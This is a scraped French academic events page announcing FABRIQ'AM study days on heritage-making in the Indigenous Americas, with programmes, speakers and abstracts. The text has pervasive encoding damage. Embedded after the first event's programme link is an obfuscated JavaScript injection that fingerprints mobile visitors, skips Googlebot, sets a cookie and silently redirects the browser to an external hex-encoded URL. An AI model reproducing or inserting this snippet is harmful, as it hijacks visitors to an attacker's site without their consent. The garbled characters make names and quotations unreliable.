JournA�e d’A�tude internationale FABRIQ’AM : Les concours de beautA� dans les AmA�riques indiennes. Performance, glamour et patrimonialisation, le 11 dA�cembre 2015, Nanterre

JournA�e d’A�tude internationale FABRIQ’AM

LesA�concoursA�deA�beautA�A�dans les AmA�riques indiennes.A�Performance, glamour et patrimonialisation

11 dA�cembre 2015

LESC, Maison de l’ArchA�ologie et de l’Ethnologie,

UniversitA� Paris Ouest Nanterre La DA�fense, salle 308

OrganisA�e par Magda Helena Dziubinska et GrA�gory DeshoulliA?re

Veuillez trouver le programme ci-joint :A�PROGRAMME (Concours de beautA�)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

JOURNA�E D’A�TUDE FABRIQ’AM : A� Circonscrire le patrimoine A�, le 25 juin 2015, LESC-MAE, Nanterre

Demi-journA�e da��A�tude FABRIQa��AM

A�A�Circonscrire le patrimoineA�: chercheurs, professeurs amA�rindiens, chamanes et autres acteurs de la recherche patrimonialeA�A�

25 juin 2015

Laboratoire da��Ethnologie et de Sociologie ComparativeA�a�� Salle 308

Maison Ethnologie et ArchA�ologie RenA�-GinouvA?s

21, allA�e de la��UniversitA�

UniversitA� Paris Ouest Nanterre

de 10h A� 13h

A�JournA�e organisA�e par Silvia Macedo

Les pratiques de patrimonialisation de biens tangibles et intangibles ont contribuA� au dA�veloppement da��une sA�rie da��actions indigA?nes de recherche et de mis en valeur des patrimoines amA�rindiens. Cet atelier sa��interrogera sur la place, le rA?le et les activitA�s de ces a�?nouveauxa�� spA�cialistes des a�?culturesa�� amA�rindiennes.

Face A� un sentiment da��insA�curitA� quant A� la continuitA� socioculturelle qui ne date pas da��aujourda��hui, diffA�rentes populations amA�rindiennes cherchent A� sa��assurer de la transmission de leurs pratiques culturelles et de leurs a�?traditionsa��. A travers la��A�laboration des pratiques propres de transmissions et de registre, ou par la participation dans des dA�marches missionnaires, politiques, A�ducatives et scientifiques, plusieurs populations entament un processus rA�flexif sur leurs a�?culturesa�� et leurs a�?traditionsa��. Si ce processus na��est pas nouveau, il a A�tA� rA�cemment catalysA� par des actions politico institutionnelles comme les programmes nationaux et internationaux (UNESCO) de patrimonialisation des biens tangibles et intangibles, les programmes da��A�ducation multiculturelle et plurilingue, les programmes de dA�veloppement A�conomique et du tourisme. Fortement liA�e A� la��A�volution politique et juridique des droits autochtones, les populations amA�rindiennes se penchent de plus en plus sur leurs pratiques culturelles A� fin de les identifier, de les circonscrire, de les registrer et de les transmettre. Les modes de transmission ainsi que les contenus transmis varieront fortement selon le public A� qua��il se dirige – de la parentA� proche, passant par a�?la��ethniea�� et arrivant A� la a�?communautA� internationalea��.

Dans ce contexte ont voit A�merger des nouveaux spA�cialistes culturels, des acteurs fortement engagA�s dans cette dA�marche rA�flexiveA�: des professeurs et chercheurs indigA?nes, des chamanes, des intellectuels, des leaders communautaires, des guides touristiques, des artistesa�� Ca��est ce qua��on voit par exemple au BrA�sil. Dans deux dA�marches politico institutionnelles distinctes, mais fortement associA�es, dans la politique da��A�ducation multiculturelle et plurilingue et dans les programmes de patrimonialisation culturels (A� niveau national comme ce promu par la��Institut du patrimoine historique (IPHAN) ou international comme ce de la��UNESCO), la formation de a�?chercheurs amA�rindiensa��, qui rA�aliseront la recherche sur leur propre culture est fortement recommandA�e et est devenue pratique courante des programmes. Prenons par exemple le cas de la��A�ducation multiculturelle et plurilingue. Dans la quasi-totalitA� des formations des maA�tres indigA?nes la constitution du stagiaire en chercheur de sa propre culture et langue et devenue une pratique institutionnalisA�e. Un professeur amA�rindien sera, avant tout, un chercheur de sa propre culture. Et avec ses recherches il construira, en accord avec a�?la communautA�a��, les programmes da��enseignement scolaire. Une dA�marche trA?s similaire peut-A?tre retrouvA�e dans les activitA�s liA�es aux programmes de sauvegarde des patrimoines intangibles, qui se reposeront principalement sur les recherches, les classifications et les catA�gorisations rA�alisA�es par les amA�rindiens, devenus a�?chercheurs de leurs culturesa��.

Dans cette demi-journA�e da��A�tude nous nous proposons de nous pencher sur ces nouveaux acteurs pour rA�flA�chir sur la place, le rA?le et les activitA�s de ces a�?nouveauxa�� spA�cialistes culturels (soit ils institutionnalisA�s ou pas). Nous chercherons A� dA�crire et A� rA�flA�chir sur ce que les chercheurs amA�rindiens fontA�; comment ils le fontA�; pourquoi ils le fontA�; A� qui ils le fontA�; et quand ils le font.

Quelle est la comprA�hension amA�rindienne du statut de chercheurA�? Quelles fonctions, mA�thodologies et interprA�tations sont attribuA�es par les amA�rindiens A� leur rechercheA�? Quel type de production est gA�nA�rA�eA�? Sur quels supportsA�? Envers quels publicsA�? Quelle place institutionnelle et politique A� ces acteurs (local et extra localement)A�? Ce sont des exemples de questions qui seront dA�battues lors de cette demi-journA�e.

PROGRAMME

10h-10h30A�Chan vun : apprendre le livre

Rocio Noemi M. Martinez a�� FCS/Universidad Autonoma de Chiapas

Le verbeA�chanelA�signifie en langue maya tsotsilA�: A�A�apprendreA�A�1.A�ChanoA�dans la conjugaison A� la premiA?re personne veut dire A�A�ja��apprendsA�A�. Dans cette prA�sentation je rA�flA�chirai sur ce queA�chan vun A�A�apprendre le livreA�A� (qui dA�finit les fonctions de l’A�criture et de la lecture de signes alphabA�tiques), signifie pour les peuples maya tsotsil, oA? la connaissance (leur patrimoine culturel), est habituellement transmise par diverses formes d’oralitA� et des techniques du rituel. Il est nA�cessaire de se rappeler que le systA?me d’A�criture en supports fixes, comme chez les anciens mayas, A�tait syllabique et non alphabA�tique. Il A�tait aussi complA�mentaire de la pictographie, de l’idA�ographie et des signes phonA�tiques, inscrits sur les stA?les, la peinture murale, les codex, la cA�ramique, entre outres. Dans ces cas les signes A�quivalents A� la��A�criture (qua��aujourda��hui on A�tudie dans la discipline de la A�pigraphie) ne transmettaient pas les mA?mes signifiances que celles du langage iconique. Le systA?me colonial a dA�truit beaucoup des formes de transmission des peuples autochtones comme celui de la��A�criture maya. Toutefois ils restent dans la mA�moire rituelle et dans les langages expressifs (de l’oralitA�), plusieurs formes qui constituent des systA?me pastellistes da��A�nonciation et de transmission, que l’on peut nommerA�a�?patrimonialesa�?.

  1. XchanelA�c’est la traductionA�da��enseigner, toujours liA�e A� la formule: apprendre.

10h35-11h05A�Nouvelles mA�thodes de recherche engagA�e autour du patrimoine mA�soamA�ricain

Karla JanirA� AVILA�S GONZA?LEZ – Labex EFL Paris 7 – PRES Sorbonne Paris CitA� / EREA

Cette communication vise A� prA�senter et A� s’interroger sur les nouvelles approches de recherche autour du patrimoine, tout particuliA?rement des langues et des cultures nahuas du Mexique, afin d’A�viter les consA�quences ethnocides liA�es A� une certaine recherche appliquA�e de maniA?re directive (advocacy). Ces nouvelles approches, prenant en compte le contexte politique actuel des revendications indigA?nes, partent d’une attitude rA�flexive et critique du rA?le du chercheur (Bordieu 1994). Elles tiennent A�galement compte des idA�ologies, des attentes et des agendas des communautA�s / acteurs impliquA�s (AvilA�s GonzA?lez 2009).

De la prA�servation de la culture tangible (ex. sites archA�ologiques) A� la revitalisation des langues et cultures mA�soamA�rindiennes en risque d’extinction,A� la recherche engagA�e via ces nouvelles mA�thodes va au-delA� de l’institutionnalisation folklorique du patrimoine culturel ou de sa prA�servation sous forme d’archives (LA�onard et AvilA�s GonzA?lezA�sous presse). Elle cherche A� mettre en valeur l’hA�ritage culturel et A� contribuer A� saA�rA�activation. Le chercheur agit comme acteur d’unA�amA�nagementA�culturel co-participatif. Ce qui, d’un cA?tA�, remet en question le postulat mA�thodologique de neutralitA� du positivisme classique, et de l’autre, fait A�merger les questions suivantesA�:A�A�qui fait quoiA�?A� pour quoiA�? pour quiA�? etA�commentA�?,A�aussi bien chez les acteurs locaux qu’au sein du monde acadA�mique.

11h10-11h40A�Approche A�pistA�mologique de savoirs amA�rindiens (piA�mont bolivien)

Francis FerriA� a�� docteur en Ethnologie par Paris X- Nanterre

Qua��est-ce qua��un chercheurA�? Le champ lexical occidental du terme, qui recouvre tant investigateurA�que savant, est-il pertinent dans un contexte da��ethnogenA?se amA�rindienne sur le piA�mont bolivienA�? Dans le sens trA?s large da��investigateur, le terme conviendrait sans doute aux entrepreneurs de la renaissance ethnique du peuple Leco, qui fit appel A� des domaines professionnels aussi variA�s qua��avocat, juriste constitutionnel, historien, gA�ographe, linguiste, anthropologue, agronome, zoologue, spA�cialiste de la��environnement, A�conomiste, politicien et lobbyiste. Alors que sous la��acception savant, il correspondrait plus auA�curanderoA�(mA�decin, expert religieux), dont la connaissance chamanique est consultA�e par tous.

11h45-12h15A�An indigenous research as equivocation – An experience among the Guarani-Mbya

Joana Cabral de Oliveira – Post-doctorat A� la��UniversitA� de SA?o Paulo et A� la��UniversitE da��Oxford

This paper is supported by an experience of researcher training among the Guarani-Mbya people (an amerindian group, speakers of a Tupi-Guarani language). This presentation aims to discuss ethnographically how different modes of knowing and conceive the knowledge emergedA� from this process. The notion of equivocation, borrowed from Roy Wagner and Eduardo Viveiros de Castro, can help us to understand how this kind of context (that involves cultural policies of Brazilian State, guarani people and their demiurges, a NGO and anthropologists) enables different knowledge theories come out.

Traduction (la��intervention sera faite en anglais)A�:La��intervention analyse la��expA�rience de formation A� la recherche des amA�rindiens Guarani-Mbya (locuteurs da��une langue Tupi-guarani). La prA�sentation vise A� rA�flA�chir da��un point de vue ethnographique aux modes des connaissances et A� la connaissance A�mergA�e dans ce contexte de formation. La notion da��A�quivoque (A�quivocation) de Roy Wagner et Eduardo Viveiros de Castro A� la��appui on cherche A� comprendre la contribution du contexte (les politiques culturelles de la��Etat brA�silien, le peuple guarani et leurs dA�miurges, et les anthropologues des ONG) A� la mise en A�vidence de diffA�rentes thA�ories de connaissance.

12h20-12h50 A�LeA�NgenpinA�(maA�tre de la parole) et la��artiste contemporainA�: deux nouvelles formes da��expression de la transmission de la culture et du patrimoine Mapuche (Chili-Argentine)

Ana Guevara a�� doctorante LAS/EHESS

Lors de cette intervention, je souhaite mettre en A�vidence quelques A�lA�ments de deux parcours trA?s diffA�rents, mais qui finalement peuvent se voir comme faisant partie du processus rA�flexif que deux acteurs Mapuche ont sur leur culture, leurs traditions et leur patrimoine.

Le premier, artiste contemporain, Francisco Huichaqueo, veut rendre visible la culture Mapuche au travers da��un art A�A�engagA�A�A�. Cette forme da��expression permet, A� partir da��un regard autochtone, de dA�montrer et da��exprimer par da��autres moyens, les aspects conflictuels auxquels sont confrontA�s les mapuches da��aujourda��hui.

Le deuxiA?me exemple est celui duA�NgenpinA�ou maA�tre de la parole (rA?le traditionnel A� caractA?re spirituel). Il participe notamment au rituel le plus important des Mapuche, leA�NguillatunA�et est censA� transmettre les traditions du riche patrimoine Mapuche. De nos jours, unA�NgenpinA�peut sa��autoproclamer et comme dans ce cas devenir consultant et mA�diateur en tradition Mapuche, tant au niveau national (Chili) qua��A� la��international.

Discussion finale

Contacts :

Silvia Macedo :A�silvia.lopesmacedo@gmail.com

Laurence Charlier : laurencecharlierzein@gmail.comA�

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JOURNA�E D’A�TUDE FABRIQ’AM, Territoires et identitA�s : une approche patrimoniale, le 13 mai 2015, EHESS, Paris

JournA�e da��A�tude Fabriqa��am

TERRITOIRES ET IDENTITA�S : UNE APPROCHE PATRIMONIALE

Mercredi 13 mai 2015

A�cole des Hautes A�tudes en Sciences Sociales

A�bA?t Le France, 190 avenue de France, 75013 Paris

salle J.P. Vernant (8e A�tage), de 9h30 A� 17h30

OrganisationA�: VA�ronique Boyer et Emilie Stoll

 

Bondaz, Graezer Bideau, Isnar et Leblon[1] soulignent que ce qui est en jeu dans le champ contemporain du patrimoine est A�A�la mutation da��un bien ordinaire en bien distinguA�A�A� (2014: 11). Le dA�ploiement par les A�tats de politiques territoriales nous semble susceptible da��A?tre apprA�hendA� en ces termes. En effet, ces politiques A�A�distinguentA�A�, ca��est-A�-dire cherchent A� valoriser certains espaces en leur confA�rant un statut administratif spA�cifique, en les affectant A� un usage particulier (parc naturel, rA�serve indienne ou A�cologique, etc.) et leur attribuant des moyens humains et financiers propres. En da��autres termes, la mosaA?que territoriale que la��on observe sur les reprA�sentations cartographiques correspond A� un dA�coupage juridique rA�el ou dA�sirA�, lequel se nA�gocie A� diffA�rentes A�chelles (du local A� la��international) et entre diffA�rents acteurs (populations, tiers secteur, institutions publiques, intA�rA?ts privA�s, organisations professionnelles, etc.).

Certains de ces territoires sont constitutionnellement corrA�lA�s A� une identitA� ethnique (indien par exemple) tandis que da��autres sont associA�s A� une activitA� spA�cifique (extraction de latex) ou au maillage administratif (municA�pio). Or, dans un contexte oA? A�A�penser patrimoineA�A� est devenu un leitmotiv pour cet ensemble trA?s diversifiA� da��acteurs, la��appartenance territoriale tend A� A?tre essentialisA�e dans des termes A�A�identitairesA�A�, mA?me si elle a A�tA� conA�ue au dA�part sous une autre modalitA�A�: une rA�serve A�A�A�cologiqueA�A� abrite des A�A�populations traditionnellesA�A�, donc spA�cialistes da��un artisanat, un municA�pio est indien parce que ca��A�tait une A�A�rA�publica de indiosA�A�. La��inscription spatiale et la��A�noncA� de la��identitA� semblent ainsi imbriquA�s dans des raisonnements circulaires.

Pour sa��imposer comme des acteurs dont la��action patrimoniale est lA�gitime ou qui sont dignes de patrimonialisation, les populations locales et leurs relais A�laborent des rA�cits sur le passA� et la tradition qui se veulent spatialement ancrA�s et incontestablement singuliers. Le processus de traduction, de nA�gociation et de transformation est fonction de leur insertion dans un champ politique local et leur interlocution avec divers acteurs externes, institutionnels ou pas. Il vise A� rendre incontestables leurs prA�tentions territoriales, et la A�A�distinctionA�A� de leur espace de vie vis-A�-vis de voisins proches qui ne pas toujours des A�A�A�trangersA�A�.

Cette journA�e da��A�tude entend examiner les rapports entre identitA� et territoire qui se jouent autour de la patrimonialisation en partant da��exemples ethnographiques latino-amA�ricains, et dans une perspective qui sa��attache A� restituer les conditions de la��A�mergence de tels phA�nomA?nes.A�Nous proposons deux axes de rA�flexionA�:

1) acteurs du champ politique et nA�gociations patrimoniales

2) lectures de la��espace, objets du patrimoine, territorialitA�s

PROGRAMME

MatinA�e

9h30

Accueil des participants

10h

Introduction

VA�ronique Boyer (CNRS-Mondes AmA�ricains) et Emilie Stoll (post-doc A� University of Aberdeen)

10h20

Staking and Silencing Life: Narrating Mineral Exploration and Land Use Planning in the Canadian North

Jan Peter Laurens Loovers (post-doc A� University of Aberdeen / Arctic Domus project)

10h40

La��identitA� comme stratA�gie de lutte pour le territoireA�? Le cas du CA�ur Picinguaba du Parc de la��Etat de la Serra do Mar, SA?o Paulo, BrA�sil

Jorge Calvimontes (post-doc A� l’UMR 208 Paloc/MNHN-IRD et A� la��UniversitA� de Campinas, BrA�sil)

11h – Pause cafA�

11h15

Les nouveaux agents de la patrimonialisation au PA�rou : lA�gitimitA�, reformulations identitaires, participation communautaire

Emanuela Canghiari (doctorante en Anthropologie A� l’EHESS, IIAC/LAHIC)

11h35 a�� 12h15

Discussion des prA�sentations

MenA�e par France GuA�rin-Pace (INED) et BA�atrice Fraenkel (EHESS)

12h15

DA�bat

12h45 – Pause dA�jeuner (buffet)

AprA?s-midi

14h30

De pariwat (A�A�A�trangers/ennemisA�A�) A� wuyA�a??uy bugum (A�A�ceux qui pensent comme nousA�A�)A�:A�scissions et alliances de groupes sociaux distincts atteints par des menaces communes (Amazonie, BrA�sil)

Mauricio Torres (chercheur indA�pendant, associA� A� la��Universidade Federal do Oeste do ParA?)

14h50

La fabrique des A�A�patrimoines A� entre ethnicitA�, globalisation et finance dans les vignobles du Bordelais

Chantal CrennA�(MaA�tre de confA�rences A� la��UniversitA� de Bordeaux Montaigne/UMI 3189 ESS Dakar, chercheur associA� A� la��UMR 5115 Les Afriques dans le Monde SNRS-IEP Bordeaux)

15h10 – Pause cafA�

15h25

La municipalisation du village tseltal da��Aguacatenango, Chiapas (Mexique)A�: logiques de projet de patrimonialisation da��un paysage identitaire

Marie ChossonA�(MaA�tre de confA�rences A� la��INALCO-CESSMA)

15h45

Discussion des interventions

MenA�e par Claudia Damasceno (EHESS) et Anne-Marie Losonczy (EPHE)

16h25

DA�bat

[1] BONDAZ, Julien, GRAEZER BIDEAU, Florence, ISNART, Cyril, LEBLON, AnaA?s, A�A�Relocaliser les discours sur le A�A�patrimoineA�A�A�A�, inA�: Les vocabulaires locaux du A�A�patrimoineA�A�A�: traductions, nA�gociations et transformations, Berlin, Lit, 2014, p.A�9-30. Le livre a A�tA� prA�sentA� lors de la journA�e Fabriqa��am de dA�cembre 2014.A�

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Voyage en patrimonologie amA�rindienne, Anath Ariel de Vidas, Dijon, le 12 dA�cembre 2014

ConfA�rence d’Anath Ariel de Vidas, A�A�Voyage en patrimonologie amA�rindienneA�: A�Le projet FABRIQa��AM A� A� l’universitA� de Bourgogne, le 12 dA�cembre 2014,A�MSH de Dijon, 6 esplanade Erasme, 21000 Dijon.

Visionner la confA�rence :A�https://depot.u-bourgogne.fr/?dlid=3f5c448cc4b5d3540a0a44117e1bc537

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JOURNA�E D’A�TUDE FABRIQa��AM : Patrimonialisation en situation de migration, 16 avril 2015, LESC-MAE, Nanterre

 

JournA�e da��A�tude FABRIQa��AM

PATRIMONIALISATION EN SITUATION DE MIGRATION

16 avril 2015

Laboratoire da��Ethnologie et de Sociologie ComparativeA�- Salle 308

Maison Ethnologie et ArchA�ologie RenA�-GinouvA?s

21, allA�e de la��UniversitA�

UniversitA� Paris Ouest Nanterre

Les diffA�rentes discussions que nous avons pu avoir autour de la comprA�hension des processus de patrimonialisation ont montrA� la nA�cessitA�, dans le contexte actuel de la globalisation, de prendre en compte les mobilitA�s croissantes liA�es aux migrations, aux flux touristiques, A� la circulation des objets via certains circuits commerciaux et de la��information via les rA�seaux de communicationa�� Dans le cadre de cette journA�e da��A�tude, nous souhaitons aborder cette question de la mobilitA� en nous centrant sur la construction des A�A�patrimoinesA�A� en situation de migrations -internationales ou nationales- dans les AmA�riques. (La prA�sence da��AurA�lie Condevaux nous permettra da��A�largir nos dA�bats en comparant avec une situation nA�o-zA�landaise).

Il sa��agira de comprendre qui sont les individus qui participent A� la valorisation de certains objets ou pratiques, A� partir de quels rA�seaux -rA�gionaux, nationaux et transnationaux- ils dA�ploient leurs actions, quelles sont les dynamiques de circulation, quels sont leurs A�ventuels liens avec les institutions patrimoniales.

Nous nous intA�resseront A�galement A� la question de ce qui est patrimonialisA�. Partant da��A�tudes empiriques permettant da��apprA�hender la question de ce qui est transmis et transmissible, rendu visible ou invisibilisA�, appropriA� et valorisA� pour construire des rA�fA�rences identitaires communes, nous questionnerons la notion da��A�A�A�hA�ritage culturelA�A� dans un contexte de dA�territorialisation et aborderons les enjeux de la mise en patrimoine en situation de migration. Nous verrons les significations nouvelles que peuvent revA?tir les pratiques et les objets patrimonialisA�s sous la��effet de la circulation. Nous aborderons les dimensions politiques et territoriales de ces mobilisations patrimoniales.

Programme

9h a�� 9h30

Accueil des participants autour da��un cafA�

9h30

Introduction,A�Sylvie PA�dron-Colombani

9h45

Christian Rinaudo,A�A�A�Son jarocho entre Mexique, Etats-Unis et Europe :A�acteurs, circuits et enjeux de laA�patrimonialisation rA�ticulaire da��une pratique culturelle transnationale A�

10h30

Sylvie PA�dron Colombani,A�A�A�San SimA?nA�aux Etats-UnisA�: processus de patrimonialisation da��un saint populaire guatA�maltA?que dans le cadre de la migration internationale A�

11h15

AurA�lie Condevaux,A�A�A�Migrations et requalifications patrimonialesA�: le cas des pratiques esthA�tiques polynA�siennes (Tonga/ Nouvelle-ZA�lande)A�A�

12h

Discussion gA�nA�rale

12h30

Pause dA�jeuner sur place autour da��un buffet

13h30

Anna Perraudin,A�A�A�DA�valorisations et revalorisations da��un patrimoine ethnicisA�A�: les poupA�es artisanales otomisA�A�

14h15

Charlotte Pescayre,A�A�A�MaromaA�et migrationA�: construire un rA�seau patrimonial A�

A�15h

Discussion gA�nA�rale

15h30

Fin de la journA�ea��

RA�sumA�s des communications

AurA�lie Condevaux (UniversitA� de Tours, EIREST (EA7337)/associA�e au CREDO (UMR 7308)A�: A�A�Migrations et requalifications patrimonialesA�: le cas des pratiques esthA�tiques polynA�siennes (Tonga/ Nouvelle-ZA�lande)A�A�

Les pratiques musicales et dansA�es dites A�A�polynA�siennesA�A� font l’objet de circulations et da��A�A�A�empruntsA�A� A� la��A�chelle du Pacifique. Ce phA�nomA?ne, qui est loin da��A?tre nouveau, est exacerbA� aujourda��hui par le nombre grandissant de festivals, la mise en tourisme des cultures, et par la mobilitA� des acteurs eux-mA?mes (du fait notamment d’une A�migration forte des petites nations insulaires vers les puissances A�conomiques du pourtour du Pacifique). En fonction des contextes dans lesquels elles sont exA�cutA�es, ces pratiques esthA�tiques revA?tent des significations diffA�rentes. Ainsi, alors que sur la scA?ne du Te Papa Tongarewa, le musA�e national nA�o-zA�landais, les danses des archipels A�A�polynA�siensA�A� sont incluses dans la dA�finition d’un A�A�patrimoineA�A� national commun, elles ne reprA�sentent guA?re plus pour les Tongiens qu’une forme de divertissement exA�cutA� dans des contextes hA?teliers, pour les touristes (Tonga est un royaume indA�pendant du Pacifique sud). Cette communication propose de mettre en lumiA?re les enjeux politiques et identitaires qui permettent d’expliquer ces changements de signification et en particulier la requalification de ces pratiques esthA�tiques comme A�A�patrimoineA�A� dans certains contextes. Cette rA�flexion sa��appuiera sur des donnA�es recueillies en Nouvelle-ZA�lande et A� Tonga entre 2008 et 2013.

Sylvie PA�dron Colombani (UniversitA� Paris Ouest Nanterre La DA�fense a�� EREA/LESC)A�: A�A�San SimonA�aux Etats-UnisA�: processus de patrimonialisation da��un saint populaire guatA�maltA?que dans le cadre de la migration internationaleA�A�

San Simon est un des saints populaires qui ont gagnA� en visibilitA� au cours des derniA?res dA�cennies dans certaines villes des Etats-Unis oA? la prA�sence de migrants centramA�ricains est forte. Son culte, originaire du Guatemala et trA?s ancrA� dans la��univers du catholicisme populaire et le monde indien maya des hauts plateaux guatA�maltA?ques, sa��est diffusA� par le biais des migrations, internes au Guatemala dans un premier temps, puis internationales a��avec les flux croissants vers les Etats-Unis.

Dans le cadre de cette communication, nous allons explorer le processus de valorisation (patrimonialisationA�?) dont il est la��objet depuis un certain nombre da��annA�es dans la ville de Los Angeles. Son culte a quittA� la sphA?re privA�e et est mis en scA?ne dans des festivitA�s publiques A� caractA?re culturel. Nous porterons une attention particuliA?re aux acteurs qui en sont responsables, A� leur diversitA�, A� la question des re-significations en jeu dans ce processus de patrimonialisation et A� ses enjeux.

Le terrain nous amA?nera donc A� considA�rer la��articulation entre patrimoine religieux et patrimoine culturel, A� envisager la construction da��un patrimoine commun A� une communautA� de migrants centramA�ricains dans le contexte multiculturel de la ville de Los Angeles ainsi que ses enjeux politiques et identitaires.

Anna Perraudin (post-doctorante Labex-Med (CNRS/Aix-Marseille UniversitA�), rattachA�e au LAMES et A� TELEMME)A�: A�A�DA�valorisations et revalorisations da��un patrimoine ethnicisA�A�: les poupA�es artisanales otomisA�A�

La communicationA� s’intA�resse aux rA�seaux de production et de vente de poupA�es artisanales en chiffon, au Mexique. EmblA?me national, cadeau souvenir typique du Mexique, les poupA�es sont aussi identifiA�es comme “poupA�es otomis”, en rA�fA�rence A� l’origine de leurs productrices, provenant d’une mA?me rA�gion indienne. Production et commerce des poupA�es sont des activitA�s genrA�es et A�troitement liA�es A� d’importantes mobilitA�s commerciales vers les villes mexicaines. Devenues intenses dans les annA�es 1940 en raison d’une crise de l’A�conomie agricole, les migrations internes perdurent jusqu’A� aujourd’hui sous des formes plurielles et ont abouti A� l’installation durable de plusieurs centaines de familles dans les principales villes mexicaines, dont la capitale Mexico. Or, dans le contexte urbain, les poupA�es – et plus spA�cifiquement les pratiques de vente – font depuis une vingtaine d’annA�es l’objet d’une rA�ception ambivalente par la sociA�tA� majoritaire, entre dA�valorisation et revalorisation. Cette ambivalence est significative de l’ethnicisation des rapports sociaux, A� l’oeuvre A� Mexico et se rA�percute au sein du groupe indien, produisant des divisions nouvelles. De quoi les poupA�es otomis sont-elles le reflet? Quelle signification prennent-elles pour les vendeuses et leur groupe d’appartenance? Comment les productrices s’adaptent-elles afin de prA�server des pratiques, et un objet conA�u comme une image d’elles-mA?mes? L’analyse s’appuiera sur une enquA?te ethnographique menA�e A� Mexico au cours de plusieurs sA�jours, entre 2003 et 2015.

Charlotte Pescayre (LESC, UNAM)A�: A�A�MaromaA�et migrationA�: construire un rA�seau patrimonial A�

